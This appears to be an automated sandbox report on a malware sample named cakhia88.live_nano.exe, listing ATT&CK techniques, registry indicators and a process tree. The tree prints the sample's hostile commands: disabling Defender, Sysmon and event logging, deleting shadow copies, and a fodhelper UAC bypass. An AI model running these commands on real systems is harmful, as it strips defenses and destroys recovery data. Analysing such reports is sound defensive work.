nanocore | edc82b0070e058722243d37e686a17f507394dc456a60cab62e74e527942748e

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	cakhia88.live_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	cakhia88.live_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4620	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	cakhia88.live_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cakhia88.live_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	cakhia88.live_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia88.live_nano.exe"	cakhia88.live_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	cakhia88.live_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia88.live_nano.exe"	cakhia88.live_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	cakhia88.live_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia88.live_nano.exe"	cakhia88.live_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
1248	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	cakhia88.live_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	cakhia88.live_nano.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	cakhia88.live_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	cakhia88.live_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia88.live_nano.exe"	cakhia88.live_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia88.live_nano.exe"	cakhia88.live_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia88.live_nano.exe"	cakhia88.live_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia88.live_nano.exe"	cakhia88.live_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
5308	net.exe
5292	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1072	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\sysupdate.exe	cakhia88.live_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	cakhia88.live_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	cakhia88.live_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	cakhia88.live_nano.exe
File created	C:\Windows\system32\svchost.exe	cakhia88.live_nano.exe
File created	C:\Windows\system32\sysupdate.exe	cakhia88.live_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1264	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	cakhia88.live_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	cakhia88.live_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs

persistence privilege_escalation

Debugger Evasion

T1622

pid	Process
5720	cakhia88.live_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3036	sc.exe
5464	sc.exe
5044	sc.exe
3616	sc.exe
2072	sc.exe
1768	sc.exe
4968	sc.exe
5248	sc.exe
5896	sc.exe
3696	sc.exe
2392	sc.exe
3936	sc.exe
1716	sc.exe
2256	sc.exe
3524	sc.exe
1968	sc.exe
1616	sc.exe
6056	sc.exe
4484	sc.exe
1920	sc.exe
4180	sc.exe
5572	sc.exe
5592	sc.exe
4932	sc.exe
4984	sc.exe
5560	sc.exe
2724	sc.exe
5092	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3852	cmd.exe
5860	cmd.exe
1392	cmd.exe
2840	cmd.exe
5520	cmd.exe
5112	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cakhia88.live_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cakhia88.live_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4180	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
2284	NETSTAT.EXE
2648	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2340	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5504	vssadmin.exe
5744	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\WallpaperStyle = "2"	cakhia88.live_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open\command\DelegateExecute	cakhia88.live_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	cakhia88.live_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open	cakhia88.live_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open\command	cakhia88.live_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\.pdf\ = "PDFBotnet"	cakhia88.live_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	cakhia88.live_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	cakhia88.live_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	cakhia88.live_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings	cakhia88.live_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open	cakhia88.live_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia88.live_nano.exe\" \"%1\""	cakhia88.live_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open\command	cakhia88.live_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings	cakhia88.live_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell	cakhia88.live_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia88.live_nano.exe"	cakhia88.live_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell	cakhia88.live_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2032	schtasks.exe
3860	schtasks.exe
2376	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4620	powershell.exe
4620	powershell.exe
4620	powershell.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe
5720	cakhia88.live_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5720	cakhia88.live_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4620	powershell.exe
Token: SeDebugPrivilege	5720	cakhia88.live_nano.exe
Token: SeIncreaseQuotaPrivilege	3352	WMIC.exe
Token: SeSecurityPrivilege	3352	WMIC.exe
Token: SeTakeOwnershipPrivilege	3352	WMIC.exe
Token: SeLoadDriverPrivilege	3352	WMIC.exe
Token: SeSystemProfilePrivilege	3352	WMIC.exe
Token: SeSystemtimePrivilege	3352	WMIC.exe
Token: SeProfSingleProcessPrivilege	3352	WMIC.exe
Token: SeIncBasePriorityPrivilege	3352	WMIC.exe
Token: SeCreatePagefilePrivilege	3352	WMIC.exe
Token: SeBackupPrivilege	3352	WMIC.exe
Token: SeRestorePrivilege	3352	WMIC.exe
Token: SeShutdownPrivilege	3352	WMIC.exe
Token: SeDebugPrivilege	3352	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3352	WMIC.exe
Token: SeRemoteShutdownPrivilege	3352	WMIC.exe
Token: SeUndockPrivilege	3352	WMIC.exe
Token: SeManageVolumePrivilege	3352	WMIC.exe
Token: 33	3352	WMIC.exe
Token: 34	3352	WMIC.exe
Token: 35	3352	WMIC.exe
Token: 36	3352	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3352	WMIC.exe
Token: SeSecurityPrivilege	3352	WMIC.exe
Token: SeTakeOwnershipPrivilege	3352	WMIC.exe
Token: SeLoadDriverPrivilege	3352	WMIC.exe
Token: SeSystemProfilePrivilege	3352	WMIC.exe
Token: SeSystemtimePrivilege	3352	WMIC.exe
Token: SeProfSingleProcessPrivilege	3352	WMIC.exe
Token: SeIncBasePriorityPrivilege	3352	WMIC.exe
Token: SeCreatePagefilePrivilege	3352	WMIC.exe
Token: SeBackupPrivilege	3352	WMIC.exe
Token: SeRestorePrivilege	3352	WMIC.exe
Token: SeShutdownPrivilege	3352	WMIC.exe
Token: SeDebugPrivilege	3352	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3352	WMIC.exe
Token: SeRemoteShutdownPrivilege	3352	WMIC.exe
Token: SeUndockPrivilege	3352	WMIC.exe
Token: SeManageVolumePrivilege	3352	WMIC.exe
Token: 33	3352	WMIC.exe
Token: 34	3352	WMIC.exe
Token: 35	3352	WMIC.exe
Token: 36	3352	WMIC.exe
Token: SeIncBasePriorityPrivilege	5720	cakhia88.live_nano.exe
Token: SeDebugPrivilege	2284	NETSTAT.EXE
Token: SeDebugPrivilege	540	whoami.exe
Token: SeDebugPrivilege	1072	tasklist.exe
Token: SeIncreaseQuotaPrivilege	672	WMIC.exe
Token: SeSecurityPrivilege	672	WMIC.exe
Token: SeTakeOwnershipPrivilege	672	WMIC.exe
Token: SeLoadDriverPrivilege	672	WMIC.exe
Token: SeSystemProfilePrivilege	672	WMIC.exe
Token: SeSystemtimePrivilege	672	WMIC.exe
Token: SeProfSingleProcessPrivilege	672	WMIC.exe
Token: SeIncBasePriorityPrivilege	672	WMIC.exe
Token: SeCreatePagefilePrivilege	672	WMIC.exe
Token: SeBackupPrivilege	672	WMIC.exe
Token: SeRestorePrivilege	672	WMIC.exe
Token: SeShutdownPrivilege	672	WMIC.exe
Token: SeDebugPrivilege	672	WMIC.exe
Token: SeSystemEnvironmentPrivilege	672	WMIC.exe
Token: SeRemoteShutdownPrivilege	672	WMIC.exe
Token: SeUndockPrivilege	672	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5720	cakhia88.live_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 5720 wrote to memory of 4620	5720	cakhia88.live_nano.exe	85
PID 5720 wrote to memory of 2724	5720	cakhia88.live_nano.exe	87
PID 5720 wrote to memory of 1716	5720	cakhia88.live_nano.exe	89
PID 5720 wrote to memory of 1768	5720	cakhia88.live_nano.exe	91
PID 5720 wrote to memory of 4484	5720	cakhia88.live_nano.exe	184
PID 5720 wrote to memory of 4968	5720	cakhia88.live_nano.exe	95
PID 5720 wrote to memory of 5092	5720	cakhia88.live_nano.exe	183
PID 5720 wrote to memory of 5248	5720	cakhia88.live_nano.exe	99
PID 5720 wrote to memory of 1920	5720	cakhia88.live_nano.exe	182
PID 5720 wrote to memory of 3036	5720	cakhia88.live_nano.exe	103
PID 5720 wrote to memory of 5464	5720	cakhia88.live_nano.exe	105
PID 5720 wrote to memory of 4180	5720	cakhia88.live_nano.exe	181
PID 5720 wrote to memory of 5896	5720	cakhia88.live_nano.exe	109
PID 5720 wrote to memory of 5044	5720	cakhia88.live_nano.exe	111
PID 5720 wrote to memory of 2256	5720	cakhia88.live_nano.exe	113
PID 5720 wrote to memory of 5572	5720	cakhia88.live_nano.exe	115
PID 5720 wrote to memory of 3524	5720	cakhia88.live_nano.exe	117
PID 5720 wrote to memory of 3616	5720	cakhia88.live_nano.exe	119
PID 5720 wrote to memory of 3696	5720	cakhia88.live_nano.exe	185
PID 5720 wrote to memory of 2392	5720	cakhia88.live_nano.exe	123
PID 5720 wrote to memory of 5592	5720	cakhia88.live_nano.exe	125
PID 5720 wrote to memory of 4932	5720	cakhia88.live_nano.exe	127
PID 5720 wrote to memory of 4984	5720	cakhia88.live_nano.exe	129
PID 5720 wrote to memory of 1968	5720	cakhia88.live_nano.exe	131
PID 5720 wrote to memory of 3936	5720	cakhia88.live_nano.exe	133
PID 5720 wrote to memory of 4824	5720	cakhia88.live_nano.exe	135
PID 5720 wrote to memory of 1616	5720	cakhia88.live_nano.exe	136
PID 5720 wrote to memory of 6056	5720	cakhia88.live_nano.exe	138
PID 5720 wrote to memory of 5504	5720	cakhia88.live_nano.exe	140
PID 5720 wrote to memory of 3352	5720	cakhia88.live_nano.exe	142
PID 5720 wrote to memory of 2032	5720	cakhia88.live_nano.exe	144
PID 5720 wrote to memory of 3860	5720	cakhia88.live_nano.exe	146
PID 4824 wrote to memory of 4056	4824	fodhelper.exe	148
PID 5720 wrote to memory of 3852	5720	cakhia88.live_nano.exe	153
PID 5720 wrote to memory of 5112	5720	cakhia88.live_nano.exe	155
PID 5720 wrote to memory of 5520	5720	cakhia88.live_nano.exe	156
PID 5720 wrote to memory of 2840	5720	cakhia88.live_nano.exe	157
PID 5720 wrote to memory of 1392	5720	cakhia88.live_nano.exe	158
PID 5720 wrote to memory of 5860	5720	cakhia88.live_nano.exe	159
PID 5720 wrote to memory of 2376	5720	cakhia88.live_nano.exe	160
PID 5720 wrote to memory of 1264	5720	cakhia88.live_nano.exe	164
PID 5720 wrote to memory of 3760	5720	cakhia88.live_nano.exe	168
PID 5860 wrote to memory of 2284	5860	cmd.exe	169
PID 1392 wrote to memory of 2648	1392	cmd.exe	170
PID 3852 wrote to memory of 5744	3852	cmd.exe	171
PID 5112 wrote to memory of 2340	5112	cmd.exe	172
PID 2840 wrote to memory of 540	2840	cmd.exe	173
PID 5520 wrote to memory of 1072	5520	cmd.exe	174
PID 5720 wrote to memory of 1208	5720	cakhia88.live_nano.exe	175
PID 5720 wrote to memory of 1248	5720	cakhia88.live_nano.exe	177
PID 5720 wrote to memory of 2072	5720	cakhia88.live_nano.exe	178
PID 5720 wrote to memory of 5560	5720	cakhia88.live_nano.exe	179
PID 5720 wrote to memory of 3608	5720	cakhia88.live_nano.exe	180
PID 5720 wrote to memory of 4180	5720	cakhia88.live_nano.exe	181
PID 3852 wrote to memory of 672	3852	cmd.exe	186
PID 1208 wrote to memory of 5064	1208	net.exe	187
PID 5720 wrote to memory of 5308	5720	cakhia88.live_nano.exe	188
PID 5720 wrote to memory of 208	5720	cakhia88.live_nano.exe	190
PID 5308 wrote to memory of 5292	5308	net.exe	193
PID 208 wrote to memory of 3780	208	net.exe	194

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\cakhia88.live_nano.exe
"C:\Users\Admin\AppData\Local\Temp\cakhia88.live_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4620
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2724
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1716
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1768
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4484
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4968
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5092
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:5248
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1920
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3036
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:5464
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:4180
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:5896
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:5044
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:2256
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:5572
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:3524
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:3616
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:3696
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:2392
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:5592
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:4932
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:4984
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:1968
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:3936
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4824
- - C:\Users\Admin\AppData\Local\Temp\cakhia88.live_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\cakhia88.live_nano.exe"
    3⤵
    PID:4056
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1616
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:6056
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5504
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
